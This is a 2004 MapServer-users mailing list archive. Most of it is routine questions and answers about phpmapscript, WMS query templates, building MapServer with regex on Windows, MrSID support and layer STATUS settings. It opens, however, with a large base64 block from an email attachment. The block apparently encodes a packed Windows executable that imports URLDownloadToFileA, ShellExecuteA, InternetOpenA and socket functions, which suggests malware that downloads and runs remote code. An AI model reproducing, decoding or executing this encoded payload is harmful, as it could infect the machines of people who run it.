UG8xEIBT2iGCuwtlcAZHGp1t27b3HwkVVCFtJ2EZ4Rf2ZKJVbm3VV2FpdF3mDG+uU4AOT2Jq OxTf7S9ZC0v0FG5FeB7hdrZ0MnJlPWx1cmOYyx722QltcGkKcHkJLvZasG4KMQn8+jDbZmei R89/egzhCx+PEFR5cC9DkXNlSGEQDwz3XmobyQlDddjBCoVyqAbcSWQU17rPAhJvbW1FTMBV BHsHx0YnkHYOm3sDO68PeHLuafgP22VHQ1Vh+29saGVscG6yX1jTU1dwc2hvdBloBhu24bBk DU2ueEENWpcwQ8dNcGQTDNpCssJvHwo/YRuabO0SvlJoS3PmbqdZWkEIFmdEGRTM4d7CVkR1 OBAWDWz2ZG9FdCBLZXkOcmZzb9kO3w1UTpijnZ0gIULwHw3Jbk1vkF9iSkRDttmbHUptfV8W CeFjO4w5Rllv5GywjW2CO0lQgyZ27xizWWtRXA4vz7h2w9xsCD7GQms329YMZ/xUpYNRcqdY 30xJNjRRMQZtT25I21qHSdQ7DmppCuFpNkdH1WIAU6s0W8OjbLVCQUVuQPbYG+4/33JJQQlE dXAI2cZgbgISVIVtCfWn6dxSJzl6WFVSTESmm+S6ZW5sQGkchWg2bZ1gfXDJdGZNHTss7DRh Z1BvkP9za20ZZm2VcKQ1eneVGk/u3hxoVRuqHE9P00mQeEndbrrsa9mSAhR0QQ6MgJUuVVwR 8zZD23BublJlZMMvWZy5tu5pjGkfX7xkO0FAo7GedMD4VZidzCEMYnkOSHnpa8BQWGOAcwNr ZXS/yltuYr1yYWNjJVNBgdccd1xydHUwIxl5NvtmrnYyehRsBz75L8dgzVBFTAEEAMwPkECe NP8P4AAPAQsBBQwARFZIUPsMBwLfWA1AC24WbDkCBDMHDMDO3JLQHjQQB7O8JN4GT9Bh3F0g kMvAoAOnxPuarrABHi7DdOtCkHcX9gXrBCMgHi5yZHSD7Qqvo0YL+wwnSNli3YVAAi4mR3Vt SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAsSoPqMBSMgsxRH3G BWqzA2S8ADMjYrCWGTkTFRa8XrstHppociQFAYpcU3iaAHOxrCUGhKJGOLy9hxsyN0THFV0y caeZmZ5HjkcDF7J+dE8crxa/JZVskzQYhLRfrEOXOBW7UyC5ECuQHxNKOIl5JKeXg5ygN5GI GlWvxhwfcS0wAxhFfxlkESOlJzQyclyOniRsgAqMQL6dGWBwBAyZn5B7BgsSY2TFsF+roC+y BpsMoMMGQaoywqk2WR0dqpeRO1pbnzZMtEdBbMB+bZ5TnzZqD0BHtMRft4mziSmoEB8CXIOv m42WtTPDBL8pLBtYNpGIo0d3gYMjlgcOPqRoYhV7f7KQoECLjjlUr4F+GHx1iZiChLK2Iotz bqokMo0dt6QLZ76sqTBAwKYoj5iMvW+AMsKwKIlIvgdsppgNlAugMHlKJSaMU6RJabZqYR5d MJ8vWJfBNDU3ORxSpbsdr8JULi8gxJWNtBGmgaxuG4R/e04gYQJwx1s4TAZoYnRQFavGeCGK BLi2VD48NjtBiXgEQ2BxLhh/swVDacbGlxU1a8VTNLOaMZVnwZchsBMyWUlvelF/FTEfmAeg mTzCxXd8WKgdUBxDpBcQpz9DWnc6elWPdHltGY4qSUiDHFu2TyNuNMctrWaQhSFPcr3HtlMy Lh1IO31cBSBEj0wivn0Iw5quUn6VIJmuS7heuq1nIlQJPHsPfK4EZnRpVAutWKN+DsdcHUtq RZKXacJ9Yi2ZfakXTW1XK4stghguNU8/LiwjpjmdeoA3W7wIUSJFkGKLmAFHtB1WKne1m75H WC4VasOgj1q2piILW0QFuJdatqWAETgkljqbwHkyeXklBS5XZyGYHAx4TiowFDouWUSiiGJ+ WyeLulQ7EH2TCE4pUHSNfpERvaRfgEOTZ7WzolBWdxiljJcli3x/vW6+PrevwUhZK2erAjwB oRgegH26imJFXh0zVjONFwQUoRZ4roPGwL5lJVphtVp7DUekXkNwHcAZHJNBM5hnwH+5O2eC Rbg0bZAEPrBIIQAgXLi5vaK8PLZMNSTFAkmhScYRayoWkTJXbYdPJUdgOHiBErwmp71bBhFi UC2/sRkFkrcUiXXFPgxPfS5JenWkwrUQFQOtRjEEKjJRNBUSVFc4ex1XLHysnE6BQAHAWbPD OhGrc7YLbHUsQLsmR1JrOwHHMxyUrhPGYUsqRy6yZRaPpBMjomK9YowdKQa3FjkUJE+rQimD JjO/p3SwjqYuwF1MTAddhHwHJ4pKbCo5fXOajI4qLZjGGbl2IkiLlJYdJpVjWX1iabOzhh5d bk2NZBxeiTxqw4kgdxc3GJOtrrYfQrytwhx0N63ClFCdoU8SW8c+G597Opqbo5GfU00GOMRv Sq4KNGo1VoAnKH9st4cIl4t+ClpEH78aYFw= ----------urwaagcdeffbvwkiktnn-- From jithesh at flashmail.com Mon Jun 21 20:55:27 2004 From: jithesh at flashmail.com (Jithesh Joseph) Date: Mon, 21 Jun 2004 19:55:27 -0800 Subject: [Mapserver-users] referenceMapObj Message-ID: <200406211427890.SM01188@jithesh> Hello, How can I use phpmapscript to change the height , width and image of referenceMapObj. I am using mapserver 4.0.2 with Win2000 and IIS. $jiMap->reference->set("width", 195); $jiMap->reference->set("height", 90); I tried the above php code....and failed... Any hints... Best regards. Jithesh Joseph jithesh at flashmail.com 2004-06-21 From jmckenna at dmsolutions.ca Mon Jun 21 07:40:01 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Mon, 21 Jun 2004 10:40:01 -0400 Subject: [Mapserver-users] FW: Open source GIS proves its maturity wit h excellent conference References: <3E4215C93D3CE24D84A9FF385DF88D87079FDAC4@afeb-ms-02> Message-ID: <40D6F341.3060307@dmsolutions.ca> Hello, The processings for the OSGIS/MUM2 conference will be available shortly. Jeff Antti.Roppola at brs.gov.au wrote: > Thanks Tyler, > > I wish I could have been there, the program looks great. > > Does anyone know if proceedings will be available? > > Antti > > > -----Original Message----- > From: Tyler Mitchell [mailto:tjmitchell at riverside.bc.ca] > Sent: Saturday, 19 June 2004 1:38 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] FW: Open source GIS proves its maturity with > excellent conference > > > I've started a weblog chronicle of the conference: > http://www.onlamp.com/pub/wlg/5080 > And plan to go into more depth over the upcoming days. If you have ideas, > questions or comments feel free to email me directly or post a comment > right on the site. > > Tyler > _ -- Jeff McKenna GIS Specialist DM Solutions Group Inc. http://www.dmsolutions.ca From Tom.Kralidis at ec.gc.ca Mon Jun 21 07:57:09 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 21 Jun 2004 10:57:09 -0400 Subject: [Mapserver-users] RE: querymap with WMS GetFeatureInfo Message-ID: <2576812186CDD411BF1500508B6DCE9507367048@ecnwri1.ontario.int.ec.gc.ca> Hi, I think I may have figured it out. Putting this in my footer.html for the query template of the layer (with querymap defined in the .map file, of course): ..works as expected. ..Tom > -----Original Message----- > From: Kralidis,Tom [Burlington] > Sent: Monday, June 21, 2004 8:29 AM > To: mapserver-users at lists.gis.umn.edu > Subject: querymap with WMS GetFeatureInfo > > > > Hi, > > In the itasca demo, demo_footer.html provides the following > query footer template chunk: > > > > > > > > > > >
src="[program]?map=[map]&queryfile=[map_web_imagepath]DEMO[id] > .qy[get_layers]&mode=map&size=200+200">
standard querymapcached query
> > ...which, when running the demo in query mode, provides a > querymap and cached querymap image. > > As we are aware, MapServer query templates get used whenever > OGC:WMS GetFeatureInfo is called with info_format=text/html. > > My question is how would one replicate the querymap-ish > behaviour through an HTML template in WMS server mode? The > chunk above in WMS server mode returns blank images, most > likely because the template values are usually passed through > a HTML form-based app. > > Cheers > > ..Tom > > ========================= > Tom Kralidis > Systems Scientist > Environment Canada > Tel: +01-905-336-4409 > http://www.ec.gc.ca/ > From Vincent.Troisi at colorado.edu Mon Jun 21 09:07:04 2004 From: Vincent.Troisi at colorado.edu (Vincent J. Troisi) Date: Mon, 21 Jun 2004 10:07:04 -0600 Subject: [Mapserver-users] adding input from ascii text file Message-ID: <40D707A8.9090207@colorado.edu> What is the best method for adding features to a map from an ascii table? From ikezhis at gismo.com Mon Jun 21 09:31:57 2004 From: ikezhis at gismo.com (igor) Date: Mon, 21 Jun 2004 10:31:57 -0600 Subject: [Mapserver-users] MrSID Support on Linux. Message-ID: <40D70D7D.8549D76B@gismo.com> Hi. I tried to compile GDAL with MrSid support(got DSDK for linux for MrSID). It gave me a lot of compiling errors(different errors for gdal 1.1.9 and 1.2.0). I am using Suse 9.1 so it has the latest GCC 3.x. I was reading that you have to use the same GCC as was used for the DSDK compilation. I can't find out what was used, but is it very possible that it was 2.x Did anyone got it working successfully? If so I would appreciate any advice. Thanks in advance From tjmitchell at riverside.bc.ca Mon Jun 21 09:58:33 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Mon, 21 Jun 2004 09:58:33 -0700 Subject: [Mapserver-users] adding input from ascii text file In-Reply-To: <40D707A8.9090207@colorado.edu> Message-ID: > What is the best method for adding features to a > map from an ascii table? Are they just point coordinate pairs? Are you looking to automate grabbing the locations from the text file - i.e. as the file changes - or will you accept a manual approach? Are you able to modify the structure of the table if you need to or are you stuck with what you are given? Can you give us a sample of a few lines of the data? Tyler From edspremolla at antel.com.uy Mon Jun 21 10:33:34 2004 From: edspremolla at antel.com.uy (Eduardo Spremolla) Date: Mon, 21 Jun 2004 14:33:34 -0300 Subject: [Mapserver-users] adding input from ascii text file In-Reply-To: <40D707A8.9090207@colorado.edu> References: <40D707A8.9090207@colorado.edu> Message-ID: <1087839213.24882.15.camel@fly.in.iantel.com.uy> You allways can doit in php or perl mapscript, but if you run on windows you can define a odbc file datasource ( like csv) and use virtual spatial data. LALO El lun, 21-06-2004 a las 13:07, Vincent J. Troisi escribi??: > What is the best method for adding features to a > map from an ascii table? > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Eduardo Spremolla Antel I+D From stevem at spatialmapping.com Mon Jun 21 10:52:48 2004 From: stevem at spatialmapping.com (Steven Monai) Date: Mon, 21 Jun 2004 10:52:48 -0700 Subject: [Mapserver-users] problem displaying a single image In-Reply-To: <20040621170053.23141.21965.Mailman@lists.gis.umn.edu> Message-ID: Eric: Your problem is that the MapServer CGI thinks your layer "communes18_original" is turned off. (Yes, I know, you have STATUS ON in the layer section, but for some reason, the CGI has behaved in this way for as long as I've known it, circa version 3.5.) To tell the CGI to turn on the layer, you need to add "&layer=communes18_original" (without the quotes) to the end of your URL. Each additional layer that you want turned on (if you had any) would require a corresponding "&layer=xxx". An alternative to specifying the layer in the URL is to make the layer's status "DEFAULT" instead of "ON". DEFAULT layers are always drawn, so you don't have to specify it in the URL. The drawback, of course, is that you lose the ability to turn the layer off, but in your case, that probably doesn't matter. Hope this helps, -SM -- ============================================ Steven Monai Database & Application Developer Spatial Mapping Ltd. 484 2nd Avenue Prince George, BC, Canada V2L 2Z7 http://www.spatialmapping.com mailto:stevem at spatialmapping.com phone: 250 564 1928 fax: 250 564 0751 ============================================ Belenfant Eric wrote: > Hi , > i use mapserver 4.1 on W32, apache 1.3.27, php 4.3.3 > I try to display a map provided by MAPINFO but when i try the > following URL > http://127.0.0.1/cgi-bin/mapserv_41.exe?map=C%3A%5CProgram+Files%5 > CEasyPHP1-7%5Cwww%5Cmapserver%5Ccommune.map&mode=map > i have no image displayed in the web browser > > the mapserver configuration is : > > MapServer version 4.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > OUTPUT=PDF O > UTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIEN > T SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=OGR INPUT=GDAL > INPUT=SHAPEFILE > > the map is the following (commune.map): > > MAP > NAME "Europe in purple" > SIZE 400 400 > STATUS ON > UNITS METERS > IMAGETYPE PNG > EXTENT 557080.396149 2157880.301791 656751.905580 > 2292246.846584 > SHAPEPATH "C:\Program Files\EasyPHP1-7\www\mapserver\data" > IMAGECOLOR 255 255 255 > > LAYER > NAME "communes18_original" > TYPE POLYGON > STATUS ON > CONNECTIONTYPE OGR > CONNECTION "C:\Program > Files\EasyPHP1-7\www\mapserver\data\communes18_original.TAB" > CLASS > COLOR 232 232 255 > OUTLINECOLOR 32 32 255 > END > > END > > END > > Anyone could give me a hint ????? > > thanks > > eric > > -- > eric BELENFANT > *Tel* : 02.38.79.45.98 > ------------------------ > p?le SYSTEMES PARTAGES > *DEP - rectorat d'Orl?ans-Tours* > --------------------------------------------------- > /Pour toute information sur la DEP ou pour obtenir des statistiques sur > l'acad?mie, > consultez la base de pilotage/ PILOT > > --__--__-- From eric.sokolowsky at gsfc.nasa.gov Mon Jun 21 11:51:18 2004 From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky) Date: Mon, 21 Jun 2004 14:51:18 -0400 (EDT) Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: Message-ID: I would like to see a list that deals specifically with WMS issues. I would also subscribe to an announcements list. -- ____ __ Eric Sokolowsky (GST) NASA Goddard Space Flight Center / __/__/_/__ Visualization Programmer Scientific Visualization Studio / __/ _/ / _/ 301.286.3751 Mailstop 935.0 Bldg 28 Rm E102 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov Greenbelt, MD 20771 From hobu at iastate.edu Mon Jun 21 12:17:24 2004 From: hobu at iastate.edu (Howard Butler) Date: Mon, 21 Jun 2004 14:17:24 -0500 Subject: [Mapserver-users] MapServer Windows external symbol problem Message-ID: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> Assefa, I am trying to compile Windows MapServer, but I am having trouble getting regex to behave when it comes time to link. Apparently, many others have had trouble as well . Here is the link error: regex.obj : error LNK2001: unresolved external symbol _printchar I have tried every permutation of putting that symbol in the header, making sure it is extern'ed properly (in both the C file and the header), but I am having no luck. I grepped through my VC++ include files and my cygwin include files for that function prototype (printchar), but I cannot find it anywhere. If you have any ideas of other things I might try, I'd greatly appreciate it. Thanks Howard -------------------------------------------------------- Howard Butler Department of Statistics Center for Survey Statistics and Methodology Iowa State University 212 Snedecor Hall Ames, IA 50011 -------------------------------------------------------- http://hobu.biz -------------------------------------------------------- From ikezhis at gismo.com Mon Jun 21 12:47:44 2004 From: ikezhis at gismo.com (igor) Date: Mon, 21 Jun 2004 13:47:44 -0600 Subject: [Mapserver-users] undefine reference to __ctype_b Message-ID: <40D73B60.67B1C3F9@gismo.com> I am trying to get MrSid to work with mapserver. When I am compiling GDAL with MrSid support I get this error. I used to get different errors, but after playing with different compilers, and options I got more far down the road. It compiles for about 2 minutes before giving me this error. If anyone knows what this errror means, please let me know. Also if anyone got Mapserver working with mrSid, I would appreciate any help. Thanks. From steve.lime at dnr.state.mn.us Mon Jun 21 12:48:35 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 21 Jun 2004 14:48:35 -0500 Subject: [Mapserver-users] Mapserver-user labelingproblem Message-ID: Are you using truetype fonts? Built-in bitmap fonts cannot be rotated... Steve >>> "Hochegger Helmut" 6/21/2004 12:53:11 AM >>> help ! I am a new mapserver user and trying to display and rotate text in an annotation layer. I am able to display the text but the text is not rotated. The MapServer Version is 4.0.1 and is running on windows xp. Thank you for your help ! Helmut Hochegger ########################################### This message has been scanned by F-Secure Anti-Virus for Microsoft Exchange. For more information, connect to http://www.percomp.at _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Mon Jun 21 12:49:55 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 21 Jun 2004 15:49:55 -0400 Subject: [Mapserver-users] MapServer Windows external symbol problem Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3653@ptolemy.topozone.com> Howard - Add the target name "regex.obj" to the nmake command line - the errors come from trying to build the test applications, which you don't need. If you click on the first entry found by the Google search you emailed below, you'll find me saying the same thing . - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Howard Butler Sent: Monday, June 21, 2004 3:17 PM To: assefa at dmsolutions.ca Cc: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] MapServer Windows external symbol problem Assefa, I am trying to compile Windows MapServer, but I am having trouble getting regex to behave when it comes time to link. Apparently, many others have had trouble as well . Here is the link error: regex.obj : error LNK2001: unresolved external symbol _printchar I have tried every permutation of putting that symbol in the header, making sure it is extern'ed properly (in both the C file and the header), but I am having no luck. I grepped through my VC++ include files and my cygwin include files for that function prototype (printchar), but I cannot find it anywhere. If you have any ideas of other things I might try, I'd greatly appreciate it. Thanks Howard -------------------------------------------------------- Howard Butler Department of Statistics Center for Survey Statistics and Methodology Iowa State University 212 Snedecor Hall Ames, IA 50011 -------------------------------------------------------- http://hobu.biz -------------------------------------------------------- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hobu at iastate.edu Mon Jun 21 12:53:26 2004 From: hobu at iastate.edu (Howard Butler) Date: Mon, 21 Jun 2004 14:53:26 -0500 Subject: [Mapserver-users] MapServer Windows external symbol problem In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3653@ptolemy.topozone.co m> References: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3653@ptolemy.topozone.com> Message-ID: <6.1.0.6.2.20040621145201.01dd5918@hobu.mail.iastate.edu> Ed, Under CVS MapServer, regex.obj is no longer available as a target. Also, I was only building the regex.obj from GNU's regex and none of the test harness. I later found a link to a message from Assefa that said he uses PHP's regex. I rolled PHP into the mix and my regex problem went away. Howard At 02:49 PM 6/21/2004, Ed McNierney wrote: >Howard - > >Add the target name "regex.obj" to the nmake command line - the errors >come from trying to build the test applications, which you don't need. > >If you click on the first entry found by the Google search you emailed >below, you'll find me saying the same thing . > > - Ed > >Ed McNierney >President and Chief Mapmaker >TopoZone.com >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Howard >Butler >Sent: Monday, June 21, 2004 3:17 PM >To: assefa at dmsolutions.ca >Cc: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] MapServer Windows external symbol problem > >Assefa, > >I am trying to compile Windows MapServer, but I am having trouble >getting regex to behave when it comes time to link. Apparently, many >others have had trouble as well >ternal+symbol+_printchar&hl=en&lr=&ie=UTF-8&c2coff=1&start=10&sa=N&filte >r=0>. > >Here is the link error: >regex.obj : error LNK2001: unresolved external symbol _printchar > >I have tried every permutation of putting that symbol in the header, >making sure it is extern'ed properly (in both the C file and the >header), but I am having no luck. I grepped through my VC++ include >files and my cygwin include files for that function prototype >(printchar), but I cannot find it anywhere. > >If you have any ideas of other things I might try, I'd greatly >appreciate it. > >Thanks > >Howard > >-------------------------------------------------------- >Howard Butler >Department of Statistics >Center for Survey Statistics and Methodology Iowa State University >212 Snedecor Hall >Ames, IA 50011 >-------------------------------------------------------- >http://hobu.biz >-------------------------------------------------------- > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Mon Jun 21 12:58:03 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 21 Jun 2004 14:58:03 -0500 Subject: [Mapserver-users] What is the resolution item on the map object? Message-ID: There's very little reason to use the resolution parameter. The only reason it was ever added was for the case when you create very high resolution images for printing. In those cases if you stuck with the default resolution AND used scale values label/layer display or symbol scaling you might not get what you hoped for. So, let's say you want to make a high resolution version of what the user sees onscreen. Well, you might change the resolution so that the computed scale is consistent between the monitor and the printed page. The scale value number is mostly useless except for relative things like scaling symbols or turning things on and off. Resolution is used for computation of a numeric scale value and not for scalebar generation. Does this help? Steve >>> "Murilo Lacerda Yoshida" 6/18/2004 4:29:30 PM >>> Hi all, I was reading the mapscale.c. In the calculateScale method it uses a resolution member of the map object. Then I looked at the mapfile documentation, it says that the resolution member is used to calculate scales, and that its default is 72 pixels per inch. I normally do not define this member in my map files. Ok, so that means that all my scales are calculated by considering that 1 inch equals 72 pixels? If I use php/mapscript, should I refresh this member every time my extents change so I get the actual scale? I am a little confused about this. Thanks, Murilo From bfraser at geoanalytic.com Mon Jun 21 13:16:58 2004 From: bfraser at geoanalytic.com (Brent Fraser) Date: Mon, 21 Jun 2004 14:16:58 -0600 Subject: [Mapserver-users] MapServer Windows external symbol problem References: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> Message-ID: <095a01c457cc$b475a410$020002c0@SHARK> Howard, printchar.c can be found in regex-0.12\test compile it and add to mapserver's nmake.opt (around line 431): REGEX_OBJ=$(REGEX_DIR)\regex.obj $(REGEX_DIR)\test\printchar.obj I don't remember having to do this before, but then I skipped a couple of releases... Brent Fraser bfraser at geoanalytic.com ----- Original Message ----- From: "Howard Butler" To: Cc: Sent: Monday, June 21, 2004 1:17 PM Subject: [Mapserver-users] MapServer Windows external symbol problem > Assefa, > > I am trying to compile Windows MapServer, but I am having trouble getting > regex to behave when it comes time to link. Apparently, many others have > had trouble as well > . > > Here is the link error: > regex.obj : error LNK2001: unresolved external symbol _printchar > > I have tried every permutation of putting that symbol in the header, making > sure it is extern'ed properly (in both the C file and the header), but I am > having no luck. I grepped through my VC++ include files and my cygwin > include files for that function prototype (printchar), but I cannot find it > anywhere. > > If you have any ideas of other things I might try, I'd greatly appreciate it. > > Thanks > > Howard > > -------------------------------------------------------- > Howard Butler > Department of Statistics > Center for Survey Statistics and Methodology > Iowa State University > 212 Snedecor Hall > Ames, IA 50011 > -------------------------------------------------------- > http://hobu.biz > -------------------------------------------------------- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nacional at cbs.umn.edu Mon Jun 21 13:08:42 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Mon, 21 Jun 2004 15:08:42 -0500 Subject: [Mapserver-users] MapServer Windows external symbol problem In-Reply-To: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> References: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> Message-ID: <1087848522.13255.68.camel@localhost> Howard, Assefa, I got around this regex problem by compiling against the PHP regex library. But then I ran into system library conflicts during linking. I tried changing the /NODEFAULTLIB: flag but it didn't help. Any help with this would be greatly appreciated. Here's the messages I'm getting: link /dll /debug mapbits.obj maphash.obj mapshape.obj mapxbase.obj mapparser.obj maplexer.obj mapindex.obj maptree.obj mapsearch.obj mapstring.obj mapsymbol.obj mapfile.obj maplegend.obj maputil.obj mapscale.obj mapquery.obj maplabel.obj maperror.obj mapprimitive.obj mapproject.obj mapraster.obj cgiutil.obj mapsde.obj mapogr.obj maptime.obj maptemplate.obj mappostgis.obj maplayer.obj mapresample.obj mapwms.obj mapwmslayer.obj mapgml.obj maporaclespatial.obj mapprojhack.obj mapdraw.obj mapgd.obj mapoutput.obj mapswf.obj mapgdal.obj mapwfs.obj mapwfslayer.obj mapows.obj maphttp.obj mappdf.obj mapcontext.obj mapdrawgdal.obj mapjoin.obj mapgraticule.obj mapmygis.obj mapimagemap.obj mapcopy.obj mapogcfilter.obj mapogcsld.obj mapthread.obj epplib.obj d:/projects/mapserver/php-4.3.6\regex\regcomp.obj d:/projects/mapserver/php-4.3.6\regex\regerror.obj d:/projects/mapserver/php-4.3.6\regex\regexec.obj d:/projects/mapserver/php-4.3.6\regex\regfree.obj d:/projects/mapserver/gd-2.0.15gif/gd.lib d:/projects/mapserver/gdal-1.2.0b/frmts/jpeg/libjpeg/libjpeg.lib 